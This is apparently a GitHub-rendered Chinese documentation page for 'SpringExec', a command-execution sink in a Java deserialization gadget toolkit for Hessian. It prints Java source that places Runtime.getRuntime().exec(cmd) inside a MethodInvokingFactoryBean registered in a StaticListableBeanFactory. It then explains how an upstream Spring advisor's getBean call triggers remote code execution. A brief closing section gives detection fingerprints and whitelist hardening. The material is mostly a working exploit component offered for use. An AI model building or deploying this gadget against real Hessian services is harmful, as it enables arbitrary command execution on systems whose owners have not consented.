Skip to content

Latest commit

 

History

History
72 lines (59 loc) · 4.75 KB

File metadata and controls

72 lines (59 loc) · 4.75 KB

执行win/linux命令(SpringExec)

  • 类别:hessian 别名:— 优先级:—
  • 作者:—
  • 依赖org.springframework:spring-context

作用

Spring 系 Hessian 链的命令执行 sink。构造一个 StaticListableBeanFactory,其中注册名为 beanName123MethodInvokingFactoryBean,其目标方法预置为 Runtime.getRuntime().exec(cmd)。当上游(SpringAbstractBeanFactoryPointcutAdvisor)在该工厂上 getBean("beanName123") 时,FactoryBean.getObject() 触发方法调用,执行任意命令。

链接标签

  • 入口 tagsHessianSpringChains(承接上游 Spring 入口环在恶意 BeanFactory 上的 getBean 调用)、END(链终点/sink)。
  • 衔接 nextTags:无(本身即 sink)。
  • excludes:无。

源码剖析

@Param(name="win/linux命令", description="eg: cmd /c calc")
public String cmd = "calc";
private final String beanName = "beanName123";

public Object getObject() throws Exception {
    StaticListableBeanFactory beanFactory = new StaticListableBeanFactory();
    beanFactory.addBean("beanName123", this.makeBean());   // 注册恶意 FactoryBean
    return beanFactory;
}

public Object makeBean() throws Exception {
    MethodInvokingFactoryBean bean = new MethodInvokingFactoryBean();
    bean.setSingleton(false);
    bean.setTargetObject((Object)Runtime.getRuntime());    // 目标对象 = Runtime
    Class<Runtime> cls = Runtime.class;
    Method method = cls.getMethod("exec", String[].class); // 目标方法 = exec(String[])
    Reflections.setFieldValue(bean, "methodObject", method);
    Reflections.setFieldValue(bean, "beanClassLoader", null);
    bean.setArguments(new Object[]{new String[]{this.cmd}});  // 参数 = {cmd}
    return bean;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.BEAN_NAME_KEY, "beanName123");  // 告知上游要 getBean 的名字
    return this.getObject();
}

逐段解释:

  • invoke 是 sink,不再 chain.doCreate。它向 GadgetContext 写入 BEAN_NAME_KEY = "beanName123",让上游 SpringAbstractBeanFactoryPointcutAdvisoradviceBeanName 设为同名,从而后续在本工厂上按此名取 bean。
  • getObject 返回 StaticListableBeanFactory——一个可手动 addBean 的简单 BeanFactory,正好作为上游 advisor 的 beanFactory 字段。里面注册的是 makeBean() 造出的 MethodInvokingFactoryBean
  • makeBean 是核心:MethodInvokingFactoryBean 是 Spring 提供的「调用任意方法并把返回值当 bean」的工厂 bean。这里把 targetObject 设为 Runtime.getRuntime()、反射设置内部字段 methodObjectRuntime.exec(String[])arguments{ {cmd} }setSingleton(false) 确保每次 getBean 都重新执行,beanClassLoadernull 规避初始化分支。
  • 触发链:上游 equals → getAdvice → beanFactory.getBean("beanName123")StaticListableBeanFactory 发现该 bean 是 FactoryBean → 调用其 getObject()MethodInvokingFactoryBean 执行预置的 Runtime.getRuntime().exec(cmd),完成 RCE。

参数(@Param)

字段 名称 说明 默认 可选值
cmd win/linux命令 要执行的命令,如 cmd /c calc calc

cmd 以单元素 String[] 传入 Runtime.exec(String[]),即整串作为 argv[0];Windows 下需形如 cmd /c calc,Linux 下常配 bash -c ... 语义的等价形式。

适用版本与原理要点

  • 仅需 spring-contextMethodInvokingFactoryBeanStaticListableBeanFactory 均在其中),依赖面小、通用性好。
  • 必须与提供「在恶意 BeanFactory 上 getBean」的 Spring 入口环配合(HessianSpringChains 标签对接)。
  • MethodInvokingFactoryBean 走反射调用,不受目标方法可见性限制,Runtime.exec 之外亦可改造为调用其它静态/实例方法。

所属预设链

关联

防御与检测

  • 类指纹:Hessian 流量中出现 StaticListableBeanFactory + MethodInvokingFactoryBean(尤其 targetObjectRuntime)即高危。
  • 加固:Hessian 反序列化启用类白名单,禁止 MethodInvokingFactoryBean 等可反射调用任意方法的工厂 bean 反序列化。